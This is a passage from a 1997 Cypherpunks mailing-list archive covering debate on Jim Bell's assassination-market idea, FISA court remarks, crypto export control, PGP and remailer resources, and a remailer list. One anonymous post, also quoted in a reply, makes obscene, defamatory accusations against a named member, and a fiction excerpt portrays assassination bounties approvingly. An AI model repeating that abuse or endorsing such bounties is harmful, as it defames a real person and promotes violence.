right in certain circumstances. You didn't answer his question. >> > However, I also think that there is a possibility that his statements, >> > either on cypherpunks or elsewhere, may have gone over the line in >> > terms of threatening behavior. It may be a moral weakness on my part, >> > but I am not too inclined to defend someone who advocates shooting me. >> >> Then you are of weak character and a closet statist. > >Good, now we have discovered that names like statist, liberal etc >are not insults even if bellowed by idiots at the top of their >lungs we can return to sanity. Ah, sanity. The Crusades seemed sane to the Christians. The Holocaust to the Nazis. Communism to the Russians. And now, a police state to the Americans. >I will not only refuse to support Bell, I'll testify against him in >court if asked. You're such a good patriot. >I don't believe that people are fit judges of their own cause as Bell >and you do. More elitism! Well, we're all lucky we have you, the agents at Waco and Ruby Ridge, and the IRS to protect us. Perhaps you'll do us all a favor and judge yourself superfluous and even harmful to "the people's cause" and put a contract on yourselves in an AP organization, when they come to be. I thought not. All we'll see are attempts are self perpetuation. >> Otherwise you have no more to worry about than you do now, AP simply >> allows people perfect (as near as possible) anonymity, You can have >> someone assasinated now without betting pools.... > >I have plenty to worry about, Bells plan would lead to murder of >innocent people. Again, what do you have to worry about if, as you say, "Bell's scheme is entirely preposterous"? -=- A concerned citizen From nobody at huge.cajones.com Sat Apr 5 00:45:46 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 5 Apr 1997 00:45:46 -0800 (PST) Subject: Tim May badmouths anonymity. Message-ID: <199704050845.AAA22780@fat.doobie.com> On Fri, 4 Apr 1997, Huge Cajones Remailer wrote: Pill time TruthMonger. > TruthMonger is a multi-user Net persona, meant to be used > for that very reason. T r u t h M o n g e r N e t p e r s o n a # 2 3 From stewarts at ix.netcom.com Sat Apr 5 02:36:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 5 Apr 1997 02:36:07 -0800 (PST) Subject: [To TruthMonger] Feds reading this list, Jim Bell, and threats In-Reply-To: <199704050332.TAA14134@fat.doobie.com> Message-ID: <3.0.1.32.19970405022248.005d7d18@popd.ix.netcom.com> At 07:32 PM 4/4/97 -0800, TM wrote: > Pardon me for beating my Hitler analogies to death, but when > Hitler was Fuhrer, the trains ran on time. Just for historical correction, it was Mussolini who _said_ he'd make the trains run on time in Italy, and used fascistic methods to attempt to get them to do so. I don't know that there's any evidence that he actually _succeeded_ in getting the trains to run on time, just in being remembered for declaring that he would. Now, the trains to Auschwitz may have been running on their schedules, but that wasn't a good thing.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From BizMaster at USA.net Sat Apr 5 07:19:26 1997 From: BizMaster at USA.net (BizMaster at USA.net) Date: Sat, 5 Apr 1997 07:19:26 -0800 (PST) Subject: "Beat The IRS & PAY-NO-MORE" Message-ID: <199704051519.HAA28303@toad.com> I apologize if this is unwanted E-mail. To be removed from this LIST please HIT (REPLY), type REMOVE in the (SUBJECT AREA) and HIT (SEND). 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Dealer #00001 - (Unconditional Money Back Guarantee) - - Copyright 1996 Linkco - From bdolan at USIT.NET Sat Apr 5 07:20:54 1997 From: bdolan at USIT.NET (Brad Dolan) Date: Sat, 5 Apr 1997 07:20:54 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <01BC4120.2E4A9550@crecy.ai.mit.edu> Message-ID: Do you believe such a system exists here? Anywhere? bd On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote: > > I think that before you murder someone because you think they > are wrong you need to at the very least put the matter to an impartial > arbitrator. > > > Phill > > From jya at pipeline.com Sat Apr 5 09:51:03 1997 From: jya at pipeline.com (John Young) Date: Sat, 5 Apr 1997 09:51:03 -0800 (PST) Subject: Surveillance Message-ID: <1.5.4.32.19970405174244.008460d0@pop.pipeline.com> Chief Judge Royce Lamberth of the US Foreign Intelligence Surveillance Court spoke yesterday at the ABA's National Security Law gathering. (On C-SPAN). Points of interest: Why the court is not involved in domestic surveillance with the rise of terrorism and militancy in the US: It was considered during the implementation of the recent Anti-Terrorism Act but a decision was made to leave that task to District Courts. Why the court has denied only a dozen out of 8,000 requests for surveillance: All are excellently prepared and the judges advise on the few applications that are not to make them approvable. He went on to say that numbers do not tell the real story, that there are a variety of ways orders are issued and continued to keep an investigation viable and as it evolves. He cited the differences in renewals between orders covering individuals and those covering organizations: the first must be renewed every 90 days, the latter every year. Moreover, there may be changes during an investigation, say, by targeting an individual within an org, with difference regs, or combining individuals into a group, with also different regs. So the numbers of orders do not actually reflect how things work. However, the Court makes and annual report to Congress. Judge Lamberth joked that he hoped the Court's decisions were "constitutional," and after the laughter, apologized and said he should not have said that. He said that positions on the court are avidly sought, that the work was the most "fun" he had ever had, that it was very exciting to be part of the select group that deals with the highest secrets of the land. He commented on how "Article 3" provisions to protect national security and related secrets conflict with the FOIA, by saying first things first. ----- A related note on Greg's fruitless FOIA requests to various agencies about cpunks: active investigations are protected from FOIA requests, indeed, it is not uncommon to keep an investigation "active" to keep the secrets, to redefine the targets, to redefine as the Courts helpfully advise. Be sure to laugh at the constitutional joke, it's fun to be an insider playing with vital national life and death decisions and amusing the audience on TV. From bubba at dev.null Sat Apr 5 12:17:51 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Sat, 5 Apr 1997 12:17:51 -0800 (PST) Subject: WebWorld 26-27 Message-ID: <3346B3B2.4743@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 32331 bytes Desc: not available URL: From DMiskell at envirolink.org Sat Apr 5 14:30:26 1997 From: DMiskell at envirolink.org (Daniel Miskell) Date: Sat, 5 Apr 1997 14:30:26 -0800 (PST) Subject: GC: Alert addition to da home page. Message-ID: <199704052228.RAA12186@envirolink.org> Greets, everyone! To keep this message short, I'm just going to beg and plead you all to go surf my page. More specifically, I'm begging you to surf the alert section of my page, I just put it up today, and I think that it's something everyone needs to see. My page is at: http://www.geocities.com/Paris/LeftBank/4795 Wether or not you like me, or even know me, I think you ALL should read this, and pass it on to your friends. --- Daniel. --- The following signature attachment has been reviewed and edited by the United States Government, as per the standards set forth by the Telecommunications Decency Act of 1996. The following text is the remaining signature, deemed holesome and acceptable for consumption by the general public: From winsock at rigel.cyberpass.net Sat Apr 5 14:42:28 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sat, 5 Apr 1997 14:42:28 -0800 (PST) Subject: Truth Monger Message-ID: <199704052242.OAA14717@sirius.infonex.com> I am not a ''multi-user Net persona''! I am Cypherpunks incarnate! I am Bright! I am Beautiful! Listen to me! I am the Truth! I Monger! Truth Monger From ant at notatla.demon.co.uk Sat Apr 5 15:19:17 1997 From: ant at notatla.demon.co.uk (Antonomasia) Date: Sat, 5 Apr 1997 15:19:17 -0800 (PST) Subject: Ruritania Discovers Motor Transport Message-ID: <199704052213.XAA01388@notatla.demon.co.uk> Ruritania Discovers Motor Transport ----------------------------------- Once upon a time in the land of Ruritania (known for its transparent trees, but that's not today's story) the population were discovering motor transport. All kinds of good things became possible then, including faster and safer deliveries, new kinds of business carried out over distances (and with that opportunies for foreign trade) there was a lot of interest in the subject from far-sighted people. But the government of Ruritania concentrated on the problems they imagined plaguing the acceptance of this technology. (The government was a democratic one, that is to say a loosely-related band of popularity-seekers.) There were cries of how the added speed and load capacity of these newfangled cars would assist crime. A few wise men pointed out that though cars probably would be used in some crimes, the advantages were still clear. For one thing criminals might still be in the minority, while the people standing to gain would be practically everybody. Also the cars would prevent much crime. For example, people would be harder to attack than when walking home from the the supermarket carrying 6 heavy bags of food. They'd load up with other people nearby and be home sooner and more safely. The government agreed there were advantages, and certainly didn't wish to appear backward or oppressive, by prohibiting mere members of the public from driving. So a plan was made to permit driving, but with restrictions to suit the government's wishes. There was to be a police officer in every petrol station to record who went where, when and what they were doing. Only that didn't suit the public spending figures (nor probably the chief constables) so instead distribution of petrol was banned. Except, of course, for the petrol vendors who enrolled in the new branch of the Police force - the Traffic Tracking Police (or TTP). Members of this force had a bunch of qualifications; mainly to do with ensuring that they could be counted on to report on any traffic they'd observed - within an hour - to the great guardians of the common good. Surely nobody could fail to trust the government or any related body ? Weren't these the very people who had defended our health at the risk of their own reputations by stating that beef was certainly safe before any of the research was in ? [1] Or guided us to a right decision in a promised referendum (on our association with nearby countries) by not holding it. This petrol distribution network announced by the government (though not strictly a government body) was trumpeted as progress and encouragement, bringing the benefits of the technology to the public, business, and anywhere else benefits belong in a democracy. Sceptics viewed it as a costly restriction. People disinclined to join the TTP, or indeed who failed the in the recruitment process, were prohibited from supplying petrol (even free of charge). Criminals, so it was said, would be tracked as they bought petrol because they would not be able to run a black market in the petrol they needed for their crimes. This looked decidedly doubtful. The use of the petrol was also ignored - fixed security lighting by petrol lamps (hiding nothing, but rather the opposite) was also restricted by the new progressive legislation. Nor was that all. Not content with banning the provision of petrol, the ban also covered offering it. The wording of the act was so vague, causing concerned citizens to wonder whether answering the telephone would be viewed as supplying petrol (after all, it could save somebody a journey). And what about the scope for crime by people with access (legitimate or not) to the records of the TTP ? The legislation had a few things to say about that, but wouldn't it be safer not to have the records ? (Like the Ruritanian government had done with records of polluted sites - look no pollution!) So it was that Ruritania remained in the 1940's well into the 21st century. [1] See 'Health & Safety at Work' April 1997 for a grim view of this. ISSN: 0141 8246 HSW at tolley.co.uk -- ########################################################## # Antonomasia # # ant at notatla.demon.co.uk # ########################################################## From camcc at abraxis.com Sat Apr 5 16:40:45 1997 From: camcc at abraxis.com (Alec) Date: Sat, 5 Apr 1997 16:40:45 -0800 (PST) Subject: New Mailing List Archive Message-ID: <3.0.1.32.19970405193438.007b6a20@smtp1.abraxis.com> >Resent-Date: Sat, 5 Apr 1997 16:52:19 -0500 >Resent-From: pgp-users-request at rivertown.net >Date: Sat, 5 Apr 1997 16:52:54 -0500 (EST) >From: "Fred B. Ringel" >Reply-To: fredr at joshua.rivertown.net >To: pgp-users list >Resent-Message-ID: <"eNeAUC.A.DkG.SmsRz"@rivertown> >X-Mailing-List: archive/latest/2270 >X-Loop: pgp-users at rivertown.net >Resent-Sender: pgp-users-request at rivertown.net >Subject: [PGP-USERS] New Mailing List Archive > >Hi all- > > Just wanted you all to know that, with the co-operation of Barry >Cox, I will be keeping an archive of the new Privacy Shell Mailing List in >conjunction with the PGP-Users Web site. It will be updated on a weekly >basis. > > The URL is http://pgp.rivertown.net/PI-List/ > > I hope this will be a good source of info for those with Private >Idaho related question/problems. > > Fred >/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ >Fred B. Ringel -- Rivertown.Net Internet Access >Systems Administrator -- http://www.rivertown.net >and General Fixer Upper -- Voice/Fax/Support: +1.914.478.2885 > Although in theory, there's no difference between > theory and practice, in practice, there is. > From johnp345 at denmark-c.it.earthlink.net Sat Apr 5 20:17:27 1997 From: johnp345 at denmark-c.it.earthlink.net (Resources International, Inc.) Date: Sat, 5 Apr 1997 20:17:27 -0800 (PST) Subject: Hey Baby! XOXOXOXO Message-ID: <199704060240.SAA26776@norway.it.earthlink.net> Click Here 18 and over only! From gbroiles at netbox.com Sun Apr 6 00:30:42 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sun, 6 Apr 1997 00:30:42 -0800 (PST) Subject: Wassenaar Message-ID: <3.0.1.32.19970406003854.0078be00@postoffice.pacbell.net> -----BEGIN PGP SIGNED MESSAGE----- Arrgh. Have been comparing what I received via my FOIA request with what other people have extracted and it looks like ACDA's response was incomplete. (In particular, it appears from , also at that Appendix 5 is *not* empty.) So it's back to the FOIA salt mines for me. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBM0dem/37pMWUJFlhAQEziAf/Ucj4as/l1wtemzNATKBpEn1x7llAtv/k xsDdDoHYJh0iMevtonKSsEolBK7IGFTNpNQjpBwsy9SFXCumOxeoR/P8qUMrrB5e Wsit3OirO9yJszHrFCR6xVAU7sBOSkuT+iQpmw0/KlvlyVu3xtMaev8uBF96bFxu rM/CK/+tZDU0fmRyUNVtlF9UhqWhQajDumbbvC0qG67ZS5028GtvqfJkC8J1r2J/ +1Dv2DZYTJl9eC44wQV2+cL/j7+NhtnTdf504s7tc1wQqO8mMqE5ndE0SWCXh/Q9 LAqDaxzf5uwkHPPdKswLZiWXjQozZD6EOAIagFWsmMr9YBXj9fWLHA== =FBvA -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From nobody at huge.cajones.com Sun Apr 6 07:20:09 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 6 Apr 1997 07:20:09 -0700 (PDT) Subject: Secure checksums Message-ID: <199704061420.HAA23123@fat.doobie.com> Timmy May the self-admitted child molester possesses a rudimentary dick less than one inch long, half the size of his mother's clitoris, that barely makes a fistful. Thereby hangs the root of this Jew-hating sissy's sick fixation on little boys and Usenet forgeries. o-:^>___? Timmy May `~~c--^c' From camcc at abraxis.com Sun Apr 6 07:50:48 1997 From: camcc at abraxis.com (Alec) Date: Sun, 6 Apr 1997 07:50:48 -0700 (PDT) Subject: Privacy-Shell Archive at Rivertown Message-ID: <3.0.1.32.19970406104306.007c6c00@smtp1.abraxis.com> >X-Sender: supportptech at mail.ptech.simplenet.com >Date: Sun, 06 Apr 1997 00:15:07 -0500 >To: privacy-shell at s1.net >From: PI Tech Support >Subject: Privacy-Shell Archive at Rivertown >Sender: owner-privacy-shell at s1.net >Reply-To: privacy-shell at s1.net > >Hello Everyone: > > Thanks to the efforts of Fred Ringel, the Privacy-Shell >Mailing List will be archived on a weekly basis at the following URL: > > http://pgp.rivertown.net/PI-List/ > > Hopefully, the archive can provide PI users with an >additional source of help for PI-related questions/problems. > > Additionally, some subscribers to Privacy-Shell may not know >about the wealth of PGP-related resources available at Fred's PGP-Users >Web site. If you have not visited there, please visit the following URL: > > http://pgp.rivertown.net/ > >Best Wishes, > >Barry Cox >To remove yourself from this mailing list, send a message to >privacy-shell-request at s1.net. In the body of the message put the >word unsubscribe. To view the list archive, point your web browser to >http://pgp.rivertown.net/PI-List/ > From camcc at abraxis.com Sun Apr 6 07:52:29 1997 From: camcc at abraxis.com (Alec) Date: Sun, 6 Apr 1997 07:52:29 -0700 (PDT) Subject: [PGP-USERS] New International Version Message-ID: <3.0.1.32.19970406104151.007b7560@smtp1.abraxis.com> >Resent-Date: Sat, 5 Apr 1997 21:19:13 -0500 >Resent-From: pgp-users-request at rivertown.net >From: patm at connix.com (Pat McCotter) >To: pgp-users at rivertown.net >Date: Sat, 05 Apr 1997 21:19:03 -0500 >Reply-To: patm at connix.com (Pat McCotter) >Resent-Message-ID: <"1mPwfB.A.BzH.ggwRz"@rivertown> >X-Mailing-List: archive/latest/2272 >X-Loop: pgp-users at rivertown.net >Resent-Sender: pgp-users-request at rivertown.net >Subject: Re: [PGP-USERS] New International Version > >-----BEGIN PGP SIGNED MESSAGE----- > >On Sat, 5 Apr 1997 18:38:08 -0500 (EST), GWNapier at aol.com wrote: > >:I have heard that there is new international verison of PGP out. Anyone know >:about it? > >PGP 2.6.3in >If you can read German, it's here: > http://www.in-ca.individual.net/ > ftp://ftp.iks-jena.de/pub/mitarb/lutz/crypt/software/pgp/ > >Lutz Donnerhacke has said if I know a good >English/German speaking person, he will send them the web texts for >translation and then post them. I don't. Does anybody here? > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.3a >Charset: cp850 > >iQEVAwUBM0cHmAhAaMnUN7LZAQHJnAf+N4NlzCEVd5A1/TUhwUGNJEbNdqEI7mXG >OHAX5H22iwjkVKMMx0uPTQ+VTmdiODW1DtDy3EgWUjzcxTX0xFOuEy3v948JG3qe >pHC00EVpHzUZOzgbFc0B1ejePhhxhAAVprRCXeZT2G6b2u9bS34SH1kTy8+QCgxe >crfh2z51eKKTH9ghAX3MvKqRP1S12i5jdMMcPsPhtPw/fEQH25+f64mJ6GxXWK9X >R2FYwoNfXgA/pYnIj0z00PairsL5DGgkw4N/12yF0Kh7mnVw3+KO8cCe6+BWb0FL >UPZ4akdw1v7vrIQC92GPADtUUW68hgpj3WW9p+bhLFHqpZKC2TnURQ== >=AlTX >-----END PGP SIGNATURE----- > >-- >Pat McCotter >Finger for public key patm at connix.com or get it from the servers >Type Bits/KeyID Date User ID >pub 2047/D437B2D9 1996/05/10 Pat McCotter >Key fingerprint = D0 E7 C6 5A 9E EF 0D CF C7 10 88 2A 73 41 11 24 From real at freenet.edmonton.ab.ca Sun Apr 6 10:31:22 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Sun, 6 Apr 1997 10:31:22 -0700 (PDT) Subject: Secure checksums In-Reply-To: <199704061420.HAA23123@fat.doobie.com> Message-ID: On Sun, 6 Apr 1997, Huge Cajones Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > Timmy May the self-admitted child molester > possesses a rudimentary dick less than one > inch long, half the size of his mother's > clitoris, that barely makes a fistful. > Thereby hangs the root of this Jew-hating > sissy's sick fixation on little boys and > Usenet forgeries. > > o-:^>___? Timmy May > `~~c--^c' > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From dgilx at mindspring.com Sun Apr 6 15:28:20 1997 From: dgilx at mindspring.com (David Gilchrist) Date: Sun, 6 Apr 1997 15:28:20 -0700 (PDT) Subject: Feds reading this list, Jim Bell, and threats Message-ID: <1.5.4.32.19970406222653.006c16e0@pop.mindspring.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:33 AM 4/6/97 -0600, you wrote: >The Limey Apologist said: >> > At 1:51 PM -0600 4/4/97, null at myemail.net wrote: >> them as a sovereign nation that was the spark to the flame. Try >> reading "Lies my teacher told me" sometime. >> Given that the American revolution institutionalised slavery and > > I think slavery was an institution long before the White Man >came to the New World. If I remember correctly, slavery wasn't outlaws >in england until long after the United States was a soverign contry. > >> lead to the theft of Indian land, and the French revolution the murder of > > If the indians didn't believe that _they_ owned the land, and infact >didn't have the concept of land ownership, how could it have been "stolen"? The concept is that of preservation and use by all. The government denied the Indian the use of the land through eminent domain, encroachment or force which is the government's way of taking, not stealing, what it wants: a distinction without a difference. I agree with your other points. > >> People are not fit judges of their own cause. The civil war was started >> by the South who believed that the North might infringe their "right" >> to own others as property. > > Actually, the "symptom" was slavery, the disease was federal >intrusion into the area of states rights. > > > > -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM0ghjm2v/EZLD6bhAQF+fQP+JEH3lo7ash6V24f+6ncAcTouSlRhqtmM QKPfLUBD6+kR4AjPGl8RKZ5x9U1BR6tiZhNrjNb+7x9mNkGqBhhujU4picef4S3T VidsE27jVsLdonti5yQqhDM9XE9U2GtC+FIWrSRwhCioJthIJVNYzogcLY5FnI6f SoF1JvoDi2o= =exxJ -----END PGP SIGNATURE----- David From bubba at dev.null Sun Apr 6 18:45:40 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Sun, 6 Apr 1997 18:45:40 -0700 (PDT) Subject: WebWorld 28 Message-ID: <334851E8.97C@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 11993 bytes Desc: not available URL: From dlv at bwalk.dm.com Sun Apr 6 20:22:55 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 6 Apr 1997 20:22:55 -0700 (PDT) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <199704060733.BAA03406@smoke.suba.com> Message-ID: <9yoR5D64w165w@bwalk.dm.com> snow writes: > The Limey Apologist said: > > > At 1:51 PM -0600 4/4/97, null at myemail.net wrote: > > them as a sovereign nation that was the spark to the flame. Try > > reading "Lies my teacher told me" sometime. > > Given that the American revolution institutionalised slavery and > > I think slavery was an institution long before the White Man > came to the New World. If I remember correctly, slavery wasn't outlaws > in england until long after the United States was a soverign contry. A couple of weeks ago I and the family were in Washington DC and we dropped by the Museum of Natural History in the Mall. It's almost as cool at the Museum of Natural History in NYC. One of the things I noticed was a special "braining club" used by the Pacific North West indians. As some readers may know, PNW indians did not believe in accumulating wealth. Rather, they tried to build "reputation capital" (a la Timmy May) by conspiciously destroying wealth in ceremonies known as "potlatch". One indian would, say, publicly burn 10 sacks of grain. Another would try to outdo him by publicly burning 20 sacks of grain. (Somehow, this sounds like Cypherpunks.) Now, one of the ways indians showed off their wealth was by killing their slaves during the potlatches using this braining club. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From lucifer at dhp.com Sun Apr 6 21:41:52 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sun, 6 Apr 1997 21:41:52 -0700 (PDT) Subject: AP Revisited Message-ID: <199704070441.AAA00744@dhp.com> Mike Duvos wrote: > In a world with an indestructible Net, anonymous digital cash, > and strong privacy tools, AP will ultimately evolve, first in a > relatively benign form and then, once it becomes ubiquitous, in > the form envisioned by Bell. {excerpt from WebWorld 24} "Assassination Politics," originated by Jim Bell, had been just a theoretical exercise during his lifetime, dismissed by most who read it as a thinly veiled joke, at best. Bell, however, had developed a workable autobot which instituted his system, albeit in a very rudimentary way. Basically, his procedure was analogous to a lottery system where the players were contributing to a prize that could be collected, not by chance, but by anyone who fulfilled the preconditions of those contributing. And the precondition was that, in order to pocket the 'prize', one had to assassinate the person targeted by the contributors. Since Bell's system used anonymous remailers, his system would allow individuals and groups to anonymously defend themselves from all types of aggression. Eventually someone modified Bell's 'Assassination Bot' to serve as a useful tool for political polling. Someone else took it a step further, and it became a valid electoral tool. Then, inevitably, just before the Channel Revolution broke out, it's newly refined features were once again modified to serve Bell's original purpose, and all hell broke loose when established geo-political figures began dropping like flies, or resigning in terror when they realized that the people were indeed speaking, and doing so by putting a price on the heads of their oppressors. From die at pig.die.com Sun Apr 6 22:18:51 1997 From: die at pig.die.com (Dave Emery) Date: Sun, 6 Apr 1997 22:18:51 -0700 (PDT) Subject: Crypto Dongel In-Reply-To: <199704070406.VAA05440@coyote.rain.org> Message-ID: <199704070518.BAA03813@pig.die.com> Hal Finney wrote : > However if the system is designed to make it easy when it does become > necessary, it will probably be easy to at least occasionally activate the > feature accidentally. The result will be the loss of your keys. For what little it is worth, key zeroization is built into almost all US government crypto gear, usually with prominent switches on the front panel marked "zeroize" for emergencies. And most all of this gear has tamper switches that activate the zeroizing logic when any of the covers of the equipment are removed - and often there is more than one zeroize circuit in a system in case the primary one fails to work. My understanding is that the NSA has rather specific and detailed requirements for this feature in gear being designed for them, and one can certainly see why it would be a requirement in military systems that might have to be quickly rendered useless to an enemy in the moments before capture. So it is hardly a new idea. Dave Emery die at die.com From ichudov at algebra.com Sun Apr 6 23:24:23 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 6 Apr 1997 23:24:23 -0700 (PDT) Subject: Anonymous Mailing Lists In-Reply-To: <33459704.3F09@sk.sympatico.ca> Message-ID: <199704070623.BAA07368@manifold.algebra.com> i have a simple perl script for maintaining an encrypted mailing list,. igor Toto wrote: > > Michael C Taylor wrote: > > On Fri, 4 Apr 1997, Toto wrote: > > > > > If a list operator can program a remailer to send only to their > > > own list, then they can make it a subscriber and allow people who > > > fear being discovered to post their concerns through it anonymously, > > > and advertise its existence in places where those most likely to > > > need it will find out about the service. > > > > Is there a combo-solution existing, an self-anonymouizing mailing list? > > > That is, you send the message to the list as normal listname at myhost.com, > > it strips the From: headers and other headers, and forwards it to a closed > > mailing list (only members can post, disabled 'who', ...). > > I'm not certain, being far from an expert on remailers and > majordomos. I've had one person indicate that majordomos could > be configured to keep all users anonymous, but didn't know > if it could be done selectively in the case of anonymous > remailers. He is supposed to get back to me on it. > > I have been experimenting with Windows remailers, but haven't > found any that allow one to specify only a single, or group of, > Mail To: addresses. > I made an offer to a friend to attempt to find an anonymizing > solution for a group of related health lists, so that their > subscribers would feel free to discuss extremely personal issues > of great concern. Also, there is the issue of health providers > cruising the list to find personal information which they can > use to drop coverage for those they deem to be a potential > financial burden to their company. > > They have a need to keep their lists closed except to subscribers > in order to block total assholes who do things like sending posts > to suicidal people telling them to kill themselves, etc. > A privately run remailer would allow the moderator to instantly > block anonymous access to an individual who harasses list members, > or the group as a whole. (People with disabilities tend to get > enough crapola out in the normal world, without needing to get > it in a health support forum.) > > I haven't had a chance to delve into the problem too deeply, > as of yet, so any suggestions or pointers would be appreciated. > I think that this is a situation which addresses the legitimate > use of anonymous remailers that many remailer operators would > consider to be the type of benefit that they are trying to promote > in giving their time and effort to providing anonymous remailer > services. > It certainly wouldn't harm the cause of anonymous remailers to > have a few positive examples of the good results that can come > from providing anonymous email capabilities. > > > Please CC to me any remailer-operator only followups. > > -- > > Michael C. Taylor > > Programmer, Mount Allison University, Canada > > -- > Toto > "The Xenix Chainsaw Massacre" > http://bureau42.base.org/public/xenix/xenbody.html > - Igor. From trei at process.com Mon Apr 7 06:13:50 1997 From: trei at process.com (Peter Trei) Date: Mon, 7 Apr 1997 06:13:50 -0700 (PDT) Subject: Anonymous Mailing Lists Message-ID: <199704071313.GAA18158@toad.com> > Toto wrote: > > I'm not certain, being far from an expert on remailers and > > majordomos. I've had one person indicate that majordomos could > > be configured to keep all users anonymous, but didn't know > > if it could be done selectively in the case of anonymous > > remailers. He is supposed to get back to me on it. A few years ago, I maintained a low-traffic mailing list in which the users could be anonymous to each other - I was the only person who knew the recipient list. I used perl scripts to manage it, and manually edited messages which requested anonymity (it was a digest-style list). A perl script individually mailed copies to about 600 recipients. It worked, but was not scalable to higher traffic volumes. Peter Trei trei at process.com From jya at pipeline.com Mon Apr 7 06:14:04 1997 From: jya at pipeline.com (John Young) Date: Mon, 7 Apr 1997 06:14:04 -0700 (PDT) Subject: Brokat Win Message-ID: <1.5.4.32.19970407131325.008a1d4c@pop.pipeline.com> NYP reports today on the raging success of Germany's Brokat Informationssysteme in selling strong crypto, thanks to US export restrctions. C2'sStronghold is cited as well. Brokat is negotiating with NSA to sell its technology to US companies with permission to re-export applets. http://jya.com/brokat.htm Those without Web access, send a blank message with subject: BRO_kat From trei at process.com Mon Apr 7 06:40:42 1997 From: trei at process.com (Peter Trei) Date: Mon, 7 Apr 1997 06:40:42 -0700 (PDT) Subject: [off topic] Feds reading this list, Jim Bell, and threats Message-ID: <199704071340.GAA18426@toad.com> John Young writes: > On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP: > Virtually all of Phil's charges against AP apply equally well to > state-sponsored killing in the natonal interest, including that > arranged by highly educated, cultured, philosophical, nuclear > physicists and electrical engineers. > That's the issue. Who gets to decide who lives and who dies, and > how close the killer is to the slaughter, unprotected by law, by > public consensus, by popular will, by apologetics for the security > of national interest. I think John has here hit the crucial point. *Any* form of killing in cold blood - whether state sponsored executions, AP-sponsored killings, or just plain hired hit-men, has the initiator of the killing taking onto him or herself the power of life and death over others. This is not a power which I feel can be used in an ethical manner, since it's exercise is totally irrevocable. Thus, I oppose the death penalty, even in the most egregious cases. Deciding who should live and who should die is simply not a proper power for a State, nor for any person. I have much less of a problem when a person is killed in an act of defense, in the heat of the moment. [Yup, I know that that leaves a big fuzzy area in the middle, but most cases are pretty clear]. Peter Trei trei at process.com From raph at CS.Berkeley.EDU Mon Apr 7 06:50:45 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 7 Apr 1997 06:50:45 -0700 (PDT) Subject: List of reliable remailers Message-ID: <199704071350.GAA03606@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} 